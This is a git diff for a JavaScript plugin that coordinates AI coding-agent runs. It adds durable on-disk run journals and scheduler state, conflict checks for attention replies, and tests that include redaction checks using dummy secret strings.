undefined; let runtimeReceipt; if (operation === 'submit') { - const parsed = parseSubmit(args); + const parsed = await parseSubmit(args); if (rememberSubmitContext) rememberSubmitContext(parsed.context); counters.submit += 1; runtimeReceipt = await runtime.submitRun(parsed.runtimeRequest); @@ -893,8 +1089,7 @@ export function createRunToolAdapter(dependencies) { if (waitUntil !== undefined && !capturedIncludes(WAIT_UNTIL_VALUES, waitUntil)) { failAdapter('invalid_format', 'wait_until', CONTENT_FREE.invalid_format); } - counters.inspect += 1; - runtimeReceipt = await runtime.inspectRun({ run_id: runId }); + runtimeReceipt = await waitForDecision(runId, args, signal); } else if (operation === 'attention') { const runId = requireRunId(args); const attentionRequest = quarantineObject( @@ -906,6 +1101,7 @@ export function createRunToolAdapter(dependencies) { if (!ARRAY_IS_ARRAY(items) || items.length < MIN_ASSIGNMENTS || items.length > MAX_ASSIGNMENTS) { failAdapter('out_of_range', 'attention.items', CONTENT_FREE.out_of_range); } + validateAttentionItemsV1(items, 'attention.items'); counters.resume += 1; runtimeReceipt = await runtime.resumeRun({ run_id: runId, @@ -962,6 +1158,7 @@ export function createRunToolAdapter(dependencies) { const projected = projectReceipt( tool, operation, runtimeReceipt, projectLaneTask, classifyLaneTask, + operation === 'wait', ); return projected; } @@ -1113,6 +1310,19 @@ export function createInProcessRunSeams(options = {}) { async reply(request) { const existing = batches.get(request.run_id); if (!existing) fail('attention_batch_not_found', 'run_id', CONTENT_FREE.invalid_format); + if (request.batch_id !== undefined && request.batch_id !== existing.batch_id) { + fail('attention_batch_identity_mismatch', 'batch_id', CONTENT_FREE.invalid_format); + } + const expectedRevision = request.expected_revision; + if (expectedRevision !== undefined && expectedRevision !== existing.revision) { + fail('attention_batch_revision_conflict', 'expected_revision', CONTENT_FREE.invalid_format); + } + if (existing.reply !== null || existing.status === 'resolved' || existing.status === 'reply_committed') { + if (canonicalJsonStringify(existing.reply) === canonicalJsonStringify(request.reply)) { + return existing; + } + fail('attention_batch_reply_conflict', 'reply', CONTENT_FREE.invalid_format); + } const record = freezeData({ ...existing, status: 'resolved', @@ -1176,6 +1386,326 @@ export function createInProcessRunSeams(options = {}) { }); } +async function ensurePrivateRoot(rootPath) { + if (typeof rootPath !== 'string' || rootPath.length === 0 || !path.isAbsolute(rootPath)) { + failAdapter('injected_dependency_invalid', 'root', CONTENT_FREE.injected_dependency_invalid); + } + const resolved = path.resolve(rootPath); + await mkdir(resolved, { recursive: true, mode: 0o700 }); + await chmod(resolved, 0o700); + return resolved; +} + +function missingAggregateAnchor() { + return { + async getCoordination() { + fail('aggregate_run_not_found', 'run_id', CONTENT_FREE.invalid_format); + }, + }; +} + +function wrapDurableJournal({ journalRoot, store, anchor }) { + return { + async create(options) { + return createRunJournal({ root: journalRoot, store, run_id: options.run_id }); + }, + async open(options) { + return openRunJournal({ root: journalRoot, store, run_id: options.run_id }); + }, + async createAggregate(options) { + return createAggregateRunJournal({ + root: journalRoot, anchor, run_id: options.run_id, + }); + }, + async openAggregate(options) { + return openAggregateRunJournal({ + root: journalRoot, anchor, run_id: options.run_id, + }); + }, + }; +} + +function durableArtifactBridge(clock) { + const records = new Map(); + const evidence = []; + const keyOf = (runId, assignmentId, relativePath) => + `${runId}\u0000${assignmentId}\u0000${relativePath}`; + const rawStore = { + async publish({ artifact_ref, bytes, source_truncated }) { + const key = keyOf(artifact_ref.run_id, artifact_ref.assignment_id, artifact_ref.relative_path); + records.set(key, { + artifact_ref: { ...artifact_ref }, + bytes: Buffer.from(bytes), + source_truncated: source_truncated === true, + }); + return { artifact_ref: { ...artifact_ref } }; + }, + async get({ run_id, assignment_id, relative_path }) { + const record = records.get(keyOf(run_id, assignment_id, relative_path)); + if (!record) return null; + return { + artifact_ref: { ...record.artifact_ref }, + bytes: Buffer.from(record.bytes), + source_truncated: record.source_truncated === true, + }; + }, + async list({ run_id }) { + const listed = []; + for (const record of records.values()) { + if (record.artifact_ref.run_id !== run_id) continue; + listed.push({ + artifact_ref: { ...record.artifact_ref }, + bytes: Buffer.from(record.bytes), + source_truncated: record.source_truncated === true, + }); + } + return listed; + }, + async remove({ run_id, assignment_id, relative_path }) { + records.delete(keyOf(run_id, assignment_id, relative_path)); + }, + }; + const sanitizer = { + async sanitize({ artifact_ref, source }) { + const bytes = Buffer.from(source); + return { + sanitized_ref: { + ...artifact_ref, + artifact_class: 'sanitized', + }, + bytes, + redaction_count: 0, + sanitizer_version: 1, + source_truncated: false, + complete: true, + }; + }, + }; + const evidenceBundle = { + async append(event) { + evidence.push(event); + return { appended: true }; + }, + async list() { + return [...evidence]; + }, + }; + return createRunArtifactBridge({ + rawStore, + sanitizer, + evidenceBundle, + clock: { now: () => (typeof clock === 'function' ? clock() : new Date().toISOString()) }, + }); +} + +function planPath(schedulerRoot, runId) { + return path.join(schedulerRoot, `${runId}.json`); +} + +async function persistSchedulerPlan(schedulerRoot, request) { + const payload = { + run_id: request.run_id, + base_sha: request.base_sha, + assignments: request.assignments, + }; + await writeFile(planPath(schedulerRoot, request.run_id), `${canonicalJsonStringify(payload)}\n`, { + encoding: 'utf8', + mode: 0o600, + }); +} + +async function loadSchedulerPlan(schedulerRoot, runId) { + try { + const text = await readFile(planPath(schedulerRoot, runId), 'utf8'); + const parsed = JSON.parse(text); + if (!parsed || typeof parsed !== 'object' || parsed.run_id !== runId) return null; + return parsed; + } catch { + return null; + } +} + +function reconstructLane(assignment, inspected) { + return { + access: assignment.access, + assignment_id: assignment.assignment_id, + attention: inspected?.attention ?? null, + cancel_confirmed: inspected?.cancelled === true || inspected?.status === 'cancelled' ? true : null, + cursor: inspected?.cursor ?? null, + dispatched: true, + fallback: false, + model: assignment.model, + provider: assignment.provider, + replayed: false, + required: assignment.required !== false, + role: assignment.role, + starting_ref: assignment.starting_ref ?? null, + status: typeof inspected?.status === 'string' ? inspected.status : 'dispatched', + task_id: assignment.task_id, + unresolved: null, + write_scope: assignment.write_scope, + }; +} + +function wrapDurableScheduler({ inner, schedulerRoot, inspectTask, cancelTask, clock }) { + return { + async submitAssignments(request) { + const receipt = await inner.submitAssignments(request); + await persistSchedulerPlan(schedulerRoot, request); + return receipt; + }, + async resumeAssignments(request) { + try { + return await inner.resumeAssignments(request); + } catch (error) { + if (!(error instanceof RunContractV1Error) || error.code !== 'scheduler_run_unknown') { + throw error; + } + const plan = await loadSchedulerPlan(schedulerRoot, request.run_id); + if (plan === null) throw error; + const lanes = []; + for (const assignment of plan.assignments) { + let inspected = null; + try { + inspected = await inspectTask({ + run_id: plan.run_id, + assignment_id: assignment.assignment_id, + task_id: assignment.task_id, + role: assignment.role, + provider: assignment.provider, + }); + } catch { + inspected = { task_id: assignment.task_id, status: 'unresolved' }; + } + lanes.push(reconstructLane(assignment, inspected)); + } + return freezeData({ + schema: 'codex-co-engineer.run-scheduler-receipt.v1', + status: 'inspected', + run_id: plan.run_id, + base_sha: plan.base_sha, + created: false, + lanes, + complete_candidate_blocked: lanes.some((lane) => lane.required + && (lane.status === 'unresolved' || lane.status === 'failed')), + wake: false, + remote_mutated: false, + observed_at: clock(), + }); + } + }, + async cancelAssignments(request) { + try { + return await inner.cancelAssignments(request); + } catch (error) { + if (!(error instanceof RunContractV1Error) || error.code !== 'scheduler_run_unknown') { + throw error; + } + const plan = await loadSchedulerPlan(schedulerRoot, request.run_id); + if (plan === null) throw error; + const selected = new Set(request.assignment_ids ?? []); + const lanes = []; + for (const assignment of plan.assignments) { + let inspected = { task_id: assignment.task_id, status: assignment.status ?? 'dispatched' }; + if (selected.has(assignment.assignment_id)) { + try { + inspected = await cancelTask({ + run_id: plan.run_id, + assignment_id: assignment.assignment_id, + task_id: assignment.task_id, + role: assignment.role, + provider: assignment.provider, + }); + } catch { + inspected = { task_id: assignment.task_id, status: 'unresolved', cancelled: false }; + } + } + lanes.push(reconstructLane(assignment, inspected)); + } + return freezeData({ + schema: 'codex-co-engineer.run-scheduler-receipt.v1', + status: 'cancelled', + run_id: plan.run_id, + base_sha: plan.base_sha, + created: false, + lanes, + complete_candidate_blocked: false, + wake: false, + remote_mutated: false, + observed_at: clock(), + }); + } + }, + }; +} + +export async function createDurableRunSeams(options = {}) { + assertPlainObject(options, 'injected_dependency_invalid', 'options', + 'Durable run seams'); + const delegateTask = options.delegateTask; + const inspectTask = options.inspectTask; + const cancelTask = options.cancelTask; + const settleLocalTaskLifecycle = options.settleLocalTaskLifecycle; + const cleanupLocalTaskLifecycle = options.cleanupLocalTaskLifecycle; + const clock = options.clock ?? (() => new Date().toISOString()); + if (typeof delegateTask !== 'function' || typeof inspectTask !== 'function' + || typeof cancelTask !== 'function' || typeof settleLocalTaskLifecycle !== 'function' + || typeof cleanupLocalTaskLifecycle !== 'function') { + failAdapter('injected_dependency_invalid', 'options', CONTENT_FREE.injected_dependency_invalid); + } + const root = typeof options.root === 'string' ? options.root : null; + const storeRoot = await ensurePrivateRoot( + options.storeRoot ?? (root ? path.join(root, 'runs', 'store') : null), + ); + const journalRoot = await ensurePrivateRoot( + options.journalRoot ?? (root ? path.join(root, 'runs', 'journal') : null), + ); + const attentionRoot = await ensurePrivateRoot( + options.attentionRoot ?? (root ? path.join(root, 'runs', 'attention') : null), + ); + const schedulerRoot = await ensurePrivateRoot( + options.schedulerRoot ?? (root ? path.join(root, 'runs', 'scheduler') : null), + ); + const runStore = await openRunStore(storeRoot); + const aggregateAnchor = options.aggregateAnchor ?? missingAggregateAnchor(); + const runJournal = wrapDurableJournal({ + journalRoot, store: runStore, anchor: aggregateAnchor, + }); + const attentionBatch = await openAttentionRoot(attentionRoot); + const artifactBridge = durableArtifactBridge(clock); + const innerScheduler = createRunScheduler({ + delegateTask, + inspectTask, + cancelTask, + clock, + }); + const scheduler = wrapDurableScheduler({ + inner: innerScheduler, + schedulerRoot, + inspectTask, + cancelTask, + clock, + }); + const runtime = createRunRuntime({ + runStore, + runJournal, + aggregateAnchor, + attentionBatch, + scheduler, + artifactBridge, + settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle, + clock, + }); + return capturedFreeze({ + runtime, + attention: attentionBatch, + scheduler, + runStore, + artifactBridge, + }); +} + export function classifyDeniedGitOperationV1(runId, operation) { return classifyGitOperationV1({ schema: GIT_AUTHORITY_SCHEMA_ID, @@ -1196,4 +1726,5 @@ capturedFreeze(classifyRunToolCall); capturedFreeze(describeRunToolAdapterV1); capturedFreeze(createRunToolAdapter); capturedFreeze(createInProcessRunSeams); +capturedFreeze(createDurableRunSeams); capturedFreeze(classifyDeniedGitOperationV1); diff --git a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs index b192192..4f77303 100644 --- a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs +++ b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs @@ -63,6 +63,7 @@ import { } from './process-boundary.mjs'; import { classifyRunToolCall, + createDurableRunSeams, createInProcessRunSeams, createRunToolAdapter, } from './run-tool-adapter.mjs'; @@ -2067,24 +2068,33 @@ function liveTaskFns(root, contextByRun) { cancelTask: async (plan) => { const task = await cancelTask(root, plan.task_id); const projected = projectSupervisorTerminalReceipt(task); - return { task_id: projected.id, status: projected.status }; + return { + task_id: projected.id, + status: projected.status, + cancelled: projected.status === 'cancelled', + }; }, }; } -export function createSupervisorRunToolAdapter(options = {}) { +export async function createSupervisorRunToolAdapter(options = {}) { if (options.adapter) return options.adapter; const contextByRun = options.contextByRun ?? new Map(); const root = options.root; const fns = liveTaskFns(root, contextByRun); - const seams = options.seams ?? createInProcessRunSeams({ + const taskFns = { delegateTask: options.delegateTask ?? fns.delegateTask, inspectTask: options.inspectTask ?? fns.inspectTask, cancelTask: options.cancelTaskFn ?? fns.cancelTask, settleLocalTaskLifecycle: options.settleLocalTaskLifecycle ?? settleLocalTaskLifecycle, cleanupLocalTaskLifecycle: options.cleanupLocalTaskLifecycle ?? cleanupLocalTaskLifecycle, clock: options.clock ?? (() => new Date().toISOString()), - }); + }; + const seams = options.seams ?? ( + options.inProcess === true + ? createInProcessRunSeams(taskFns) + : await createDurableRunSeams({ root, ...taskFns }) + ); return createRunToolAdapter({ runtime: seams.runtime, attention: seams.attention, @@ -2096,12 +2106,12 @@ export function createSupervisorRunToolAdapter(options = {}) { }); } -export function supervisorRunToolAdapter(root, options = {}) { +export async function supervisorRunToolAdapter(root, options = {}) { if (options.adapter) return options.adapter; const key = typeof root === 'string' ? root : ''; let adapter = runToolAdapters.get(key); if (!adapter) { - adapter = createSupervisorRunToolAdapter({ root, ...options }); + adapter = await createSupervisorRunToolAdapter({ root, ...options }); runToolAdapters.set(key, adapter); } return adapter; @@ -2110,8 +2120,8 @@ export function supervisorRunToolAdapter(root, options = {}) { export async function invokeRunTool(root, name, args, options = {}) { const classified = classifyRunToolCall(name, args); if (classified.mode === 'legacy') return classified; - const adapter = supervisorRunToolAdapter(root, options); - return adapter.dispatch(name, args); + const adapter = await supervisorRunToolAdapter(root, options); + return adapter.dispatch(name, args, { signal: options.signal }); } export { classifyRunToolCall }; diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs index 16de4c6..cdee171 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs @@ -1,11 +1,13 @@ // Isolated R-CUTOVER run-tool-adapter fixtures. Tests own the assertions. +import { attentionQuestionDigestV1 } from '../../mcp/v3/attention-batch.mjs'; import { denyWorkerRemoteMutation } from '../../mcp/v3/credential-boundary.mjs'; import { classifySupervisorTerminalReceipt, projectSupervisorTerminalReceipt, } from '../../mcp/v3/supervisor.mjs'; import { + createInProcessRunSeams, createRunToolAdapter, } from '../../mcp/v3/run-tool-adapter.mjs'; import { @@ -110,7 +112,11 @@ export function createCountingRuntime(options = {}) { }, async resumeRun(request) { calls.resume.push(request); - return created.runtime.resumeRun(request); + const receipt = await created.runtime.resumeRun(request); + if (typeof options.decorateInspect === 'function') { + return options.decorateInspect(receipt); + } + return receipt; }, async cancelRun(request) { calls.cancel.push(request); @@ -140,3 +146,61 @@ export function createAdapter(options = {}) { export function denyRemote(operation) { return denyWorkerRemoteMutation(operation); } + +export function makeAttentionItem({ + assignmentId = ASSIGNMENT_ID, + taskId = TASK_ID, + provider = 'grok', + required = true, + sessionId = 'sess-1', + questionId = 'q-1', + eventCursor = '0', + prompt = 'Choose the next writer step', + options = ['continue', 'stop'], +} = {}) { + const replyCapability = provider === 'dsh' || provider === 'cursor-cloud' + ? 'unsupported' + : 'same_session'; + const item = { + assignment_id: assignmentId, + task_id: taskId, + provider, + required, + session_id: sessionId, + question_id: questionId, + event_cursor: eventCursor, + question_digest: 'sha256:' + '00'.repeat(32), + prompt, + options: replyCapability === 'unsupported' ? null : options, + reply_capability: replyCapability, + disposition: 'pending', + deadline_at: null, + }; + item.question_digest = attentionQuestionDigestV1(item); + return item; +} + +export function createSeamAdapter(options = {}) { + const lifecycle = options.lifecycle ?? createLifecycleFns(options.lifecycleOptions); + const seams = createInProcessRunSeams({ + delegateTask: options.delegateTask ?? (async (plan) => ({ + task_id: plan.task_id, status: 'dispatched', cursor: '0', + })), + inspectTask: options.inspectTask ?? (async (plan) => ({ + task_id: plan.task_id, status: 'running', cursor: plan.cursor ?? '0', + })), + cancelTask: options.cancelTask ?? (async (plan) => ({ + task_id: plan.task_id, status: 'cancelled', cancelled: true, + })), + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: options.clock ?? createClock(), + }); + const adapter = createRunToolAdapter({ + runtime: seams.runtime, + attention: seams.attention, + projectLaneTask: options.projectLaneTask ?? projectSupervisorTerminalReceipt, + classifyLaneTask: options.classifyLaneTask ?? classifySupervisorTerminalReceipt, + }); + return { adapter, seams, lifecycle }; +} diff --git a/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs index 7d29210..370fc7e 100644 --- a/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs @@ -23,6 +23,7 @@ import { countingProxy, createAdapter, makeAssignment, + makeAttentionItem, makeRunArgs, } from './fixtures/r1-run-tool-adapter-fixtures.mjs'; @@ -108,7 +109,7 @@ test('mixed run operations and mixed 3.2.1 fields fail closed', async () => { await adapter.dispatch('delegate', makeRunArgs()); const mixed = await errorOf(() => adapter.dispatch('task', { run_id: RUN_ID, - attention: { items: [{ assignment_id: ASSIGNMENT_ID }] }, + attention: { items: [makeAttentionItem()] }, run_reply: { batch_id: 'att-x', reply: {} }, })); assert.equal(mixed.code, 'mixed_run_operation'); @@ -180,6 +181,7 @@ test('replay keys on resume/cancel never reach the runtime', async () => { const replay = await errorOf(() => adapter.dispatch('task', { run_id: RUN_ID, wait_until: 'decision_or_attention', + wait_ms: 0, replay: true, })); assert.equal(replay.code, 'replay_or_fallback_denied'); @@ -190,3 +192,34 @@ test('replay keys on resume/cancel never reach the runtime', async () => { assert.equal(fallback.code, 'replay_or_fallback_denied'); assert.equal(calls.cancel.length, 0); }); + +test('invalid attention items fail before scheduler resume', async () => { + const { adapter, calls } = createAdapter(); + await adapter.dispatch('delegate', makeRunArgs()); + const error = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + attention: { + items: [{ + assignment_id: ASSIGNMENT_ID, + task_id: 'task-writer-0', + provider: 'grok', + required: true, + }], + }, + })); + assert.ok(error.code === 'missing_key' || error.code === 'invalid_format' || error.code === 'invalid_type'); + assert.equal(calls.resume.length, 0); + assertContentFree(error); +}); + +test('explicit provider/model does not ignore a hostile profile name', async () => { + const { adapter, calls } = createAdapter(); + const assignment = makeAssignment(); + assignment.profile = 'NOT A PROFILE'; + const error = await errorOf(() => adapter.dispatch('delegate', makeRunArgs({ + assignments: [assignment], + }))); + assert.equal(error.code, 'invalid_format'); + assert.equal(calls.submit.length, 0); + assertContentFree(error); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs b/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs index 410b19c..4f7d9bf 100644 --- a/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs @@ -18,6 +18,9 @@ import { PROVIDER_REGISTRY_SLOTS, describeProviderRegistryV1, } from '../mcp/v3/provider-registry.mjs'; +import { mkdir, rm, writeFile } from 'node:fs/promises'; +import path from 'node:path'; + import { PUBLIC_MCP_CATALOG, RUN_TOOL_ADAPTER_ALWAYS_FALSE_SIDE_EFFECTS, @@ -25,6 +28,7 @@ import { RUN_TOOL_OPERATIONS, classifyDeniedGitOperationV1, classifyRunToolCall, + createDurableRunSeams, createRunToolAdapter, denyRunToolRemoteMutationV1, describeRunToolAdapterV1, @@ -34,11 +38,15 @@ import { RUN_ID, TASK_ID, createAdapter, + createSeamAdapter, makeAssignment, + makeAttentionItem, makeRunArgs, makeVerifier, zeroWorkPingTimeoutReceipt, } from './fixtures/r1-run-tool-adapter-fixtures.mjs'; +import { PROFILE_SCHEMA } from '../mcp/v3/profile.mjs'; +import { createClock, createLifecycleFns, makePrivateRoot } from './fixtures/r1-run-runtime-fixtures.mjs'; const MODULE_SOURCE = await readFile( fileURLToPath(new URL('../mcp/v3/run-tool-adapter.mjs', import.meta.url)), @@ -198,28 +206,21 @@ test('status/wait/attention/reply/cancel/cleanup map through frozen additive par const wait = await adapter.dispatch('task', { run_id: RUN_ID, wait_until: 'decision_or_attention', + wait_ms: 0, }); assert.equal(wait.operation, 'wait'); assert.equal(wait.decision_or_attention.wake, false); const aggregate = await adapter.dispatch('tasks', { run_id: RUN_ID, wait_until: 'decision_or_attention', + wait_ms: 0, }); assert.equal(aggregate.operation, 'wait'); assert.equal(aggregate.assignment_count, 1); const attention = await adapter.dispatch('task', { run_id: RUN_ID, attention: { - items: [{ - assignment_id: ASSIGNMENT_ID, - task_id: TASK_ID, - provider: 'grok', - required: true, - session_id: 'sess-1', - question_id: 'q-1', - event_cursor: '0', - reply_capability: 'same_session', - }], + items: [makeAttentionItem()], }, }); assert.equal(attention.operation, 'attention'); @@ -251,13 +252,21 @@ test('status/wait/attention/reply/cancel/cleanup map through frozen additive par assert.equal(cleanup.cleanup.proof_bound, true); }); -test('model-facing receipts redact raw artifacts and R-TRUTH-correct false success', async () => { +test('model-facing receipts redact nested raw artifacts and R-TRUTH-correct false success', async () => { const { adapter } = createAdapter({ decorateInspect: (receipt) => ({ ...receipt, lanes: receipt.lanes.map((lane) => ({ ...lane, - artifacts: { raw: 'sk-live-ATTACKER-SECRET', bytes: [1, 2, 3], projection: 'ok' }, + artifacts: { + raw: 'sk-live-ATTACKER-SECRET', + bytes: [1, 2, 3], + projection: 'ok', + nested: { + owner: { raw: 'sk-live-NESTED-SECRET', secret: 'github_pat_hostile' }, + bytes: Buffer.from('hidden'), + }, + }, task: zeroWorkPingTimeoutReceipt({ id: lane.task_id ?? TASK_ID }), })), }), @@ -267,11 +276,16 @@ test('model-facing receipts redact raw artifacts and R-TRUTH-correct false succe const lane = inspected.lanes[0]; assert.equal(Object.hasOwn(lane.artifacts, 'raw'), false); assert.equal(Object.hasOwn(lane.artifacts, 'bytes'), false); + assert.equal(Object.hasOwn(lane.artifacts.nested, 'bytes'), false); + assert.equal(Object.hasOwn(lane.artifacts.nested.owner, 'raw'), false); + assert.equal(Object.hasOwn(lane.artifacts.nested.owner, 'secret'), false); assert.equal(lane.task.status, 'failed'); assert.equal(lane.truth.corrected, true); const serialized = JSON.stringify(inspected); assert.doesNotMatch(serialized, /sk-live/u); assert.doesNotMatch(serialized, /ATTACKER-SECRET/u); + assert.doesNotMatch(serialized, /NESTED-SECRET/u); + assert.doesNotMatch(serialized, /github_pat/u); }); test('unsupported same-session providers cancel only the affected lane', async () => { @@ -289,16 +303,14 @@ test('unsupported same-session providers cancel only the affected lane', async ( run_id: RUN_ID, attention: { items: [ - { - assignment_id: 'dsh-lane', - task_id: 'task-dsh', + makeAttentionItem({ + assignmentId: 'dsh-lane', + taskId: 'task-dsh', provider: 'dsh', - required: true, - session_id: 'sess-dsh', - question_id: 'q-dsh', - event_cursor: '0', - reply_capability: 'unsupported', - }, + sessionId: 'sess-dsh', + questionId: 'q-dsh', + prompt: 'DSH cannot host a same-session reply', + }), ], }, }); @@ -334,3 +346,158 @@ test('createRunToolAdapter rejects extra injected seams before dispatch', async (error) => error.code === 'unknown_key', ); }); + +test('decision_or_attention wait polls until an actionable attention decision', async () => { + let inspections = 0; + const { adapter } = createAdapter({ + decorateInspect: (receipt) => { + inspections += 1; + if (inspections < 3) return receipt; + return { + ...receipt, + lanes: receipt.lanes.map((lane) => ({ ...lane, status: 'needs_attention' })), + }; + }, + }); + await adapter.dispatch('delegate', makeRunArgs()); + const wait = await adapter.dispatch('task', { + run_id: RUN_ID, + wait_until: 'decision_or_attention', + wait_ms: 400, + }); + assert.equal(wait.operation, 'wait'); + assert.equal(wait.wake, true); + assert.equal(wait.decision_or_attention.wake, true); + assert.ok(inspections >= 3); +}); + +test('explicit provider/model plus a conflicting named profile fails closed', async () => { + const workspace = await makePrivateRoot('r1-rcutover-profile-'); + try { + const catalogDir = path.join(workspace, '.codex'); + await mkdir(catalogDir, { recursive: true, mode: 0o700 }); + const definition = { + schema: PROFILE_SCHEMA, + provider: 'dsh', + model: 'muse-spark-1.2-contributor', + }; + const name = 'writer-profile'; + const catalog = { + [name]: definition, + }; + await writeFile(path.join(catalogDir, 'co-engineer-profiles.json'), JSON.stringify(catalog)); + const assignment = makeAssignment(); + assignment.profile = name; + const args = makeRunArgs({ assignments: [assignment] }); + args.run.git = { ...args.run.git, repository_path: workspace }; + args.run.profile = name; + const { adapter, calls } = createAdapter(); + const error = await errorOf(() => adapter.dispatch('delegate', args)); + assert.equal(error.code, 'selection_unresolved'); + assert.equal(calls.submit.length, 0); + } finally { + await rm(workspace, { recursive: true, force: true }); + } +}); + +test('named profile fills omitted provider/model from the catalog', async () => { + const workspace = await makePrivateRoot('r1-rcutover-profile-fill-'); + try { + const catalogDir = path.join(workspace, '.codex'); + await mkdir(catalogDir, { recursive: true, mode: 0o700 }); + const name = 'writer-profile'; + const definition = { + schema: PROFILE_SCHEMA, + provider: 'grok', + model: 'grok-4', + }; + await writeFile(path.join(catalogDir, 'co-engineer-profiles.json'), JSON.stringify({ + [name]: definition, + })); + const assignment = makeAssignment(); + delete assignment.provider; + delete assignment.model; + assignment.profile = name; + const args = makeRunArgs({ assignments: [assignment] }); + args.run.git = { ...args.run.git, repository_path: workspace }; + const { adapter, calls } = createAdapter(); + const receipt = await adapter.dispatch('delegate', args); + assert.equal(receipt.operation, 'submit'); + assert.equal(calls.submit.length, 1); + assert.equal(calls.submit[0].assignments[0].provider, 'grok'); + assert.equal(calls.submit[0].assignments[0].model, 'grok-4'); + } finally { + await rm(workspace, { recursive: true, force: true }); + } +}); + +test('default in-process attention reply rejects a conflicting second round', async () => { + const { adapter, seams } = createSeamAdapter(); + await adapter.dispatch('delegate', makeRunArgs()); + await adapter.dispatch('task', { + run_id: RUN_ID, + attention: { items: [makeAttentionItem()] }, + }); + const replyBody = { + round: 1, + batch_id: `att-${RUN_ID}`, + answers: [{ + assignment_id: ASSIGNMENT_ID, question_id: 'q-1', session_id: 'sess-1', + task_id: TASK_ID, response: 'ship-it', + }], + }; + const first = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: `att-${RUN_ID}`, + expected_revision: 1, + reply: replyBody, + }, + }); + assert.equal(first.operation, 'reply'); + const conflict = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: `att-${RUN_ID}`, + expected_revision: 2, + reply: { ...replyBody, answers: [{ ...replyBody.answers[0], response: 'overwrite' }] }, + }, + })); + assert.equal(conflict.code, 'attention_batch_reply_conflict'); + const forged = await errorOf(() => seams.attention.reply({ + run_id: RUN_ID, + batch_id: 'forged-batch', + expected_revision: 2, + reply: replyBody, + })); + assert.equal(forged.code, 'attention_batch_identity_mismatch'); +}); + +test('durable P33/P34 seams recover identity after a fresh reopen', async () => { + const root = await makePrivateRoot('r1-rcutover-durable-'); + const lifecycle = createLifecycleFns({ final: true }); + const taskFns = { + delegateTask: async (plan) => ({ task_id: plan.task_id, status: 'dispatched', cursor: '0' }), + inspectTask: async (plan) => ({ task_id: plan.task_id, status: 'running', cursor: plan.cursor ?? '0' }), + cancelTask: async (plan) => ({ task_id: plan.task_id, status: 'cancelled', cancelled: true }), + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: createClock(), + }; + try { + const first = await createDurableRunSeams({ root, ...taskFns }); + const adapter = createRunToolAdapter({ runtime: first.runtime, attention: first.attention }); + const submitted = await adapter.dispatch('delegate', makeRunArgs()); + assert.equal(submitted.operation, 'submit'); + const second = await createDurableRunSeams({ root, ...taskFns }); + const restarted = createRunToolAdapter({ + runtime: second.runtime, attention: second.attention, + }); + const inspected = await restarted.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.run_id, RUN_ID); + assert.equal(inspected.assignment_count, 1); + assert.equal(inspected.lanes[0].assignment_id, ASSIGNMENT_ID); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/v3-supervisor.test.mjs b/plugins/codex-co-engineer/test/v3-supervisor.test.mjs index 0363213..c1e5aad 100644 --- a/plugins/codex-co-engineer/test/v3-supervisor.test.mjs +++ b/plugins/codex-co-engineer/test/v3-supervisor.test.mjs @@ -1,7 +1,7 @@ import assert from 'node:assert/strict'; import { execFile } from 'node:child_process'; import { EventEmitter } from 'node:events'; -import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { mkdir, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'; import os from 'node:os'; import path from 'node:path'; import test from 'node:test'; @@ -823,6 +823,13 @@ test('exports identity-bound local lifecycle settlement without rewriting stored } }); +test('default run seams are durable P33/P34 authorities and cancel confirms', async () => { + const source = await readFile(new URL('../mcp/v3/supervisor.mjs', import.meta.url), 'utf8'); + assert.match(source, /createDurableRunSeams/u); + assert.match(source, /cancelled: projected.status === 'cancelled'/u); + assert.match(source, /options.seams \?\? \(/u); +}); + test('invokeRunTool preserves omitted 3.2.1 mode and R-TRUTH lifecycle authority', async () => { const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-supervisor-run-tool-')); try { From 683f1a3faa3a9ba91ef7220332b7ea7e5bd669aa Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Wed, 26 Aug 2026 14:48:00 +0000 Subject: [PATCH 147/151] fix(v3): close four R-CUTOVER reply, cancel, durability, and snapshot blockers Bind production P34 attention.reply to supervisor same-session delivery, keep unconfirmed cancel unresolved, persist scheduler/artifact authority before dispatch, and resolve assignments from one immutable catalog snapshot. --- docs/run-tool-api.md | 18 +- .../mcp/v3/run-tool-adapter.mjs | 727 +++++++++++++++--- .../codex-co-engineer/mcp/v3/supervisor.mjs | 34 +- .../fixtures/r1-run-tool-adapter-fixtures.mjs | 76 ++ .../r1-run-tool-adapter-adversarial.test.mjs | 205 +++++ .../test/r1-run-tool-adapter.test.mjs | 125 +++ .../test/v3-supervisor.test.mjs | 95 +++ 7 files changed, 1151 insertions(+), 129 deletions(-) diff --git a/docs/run-tool-api.md 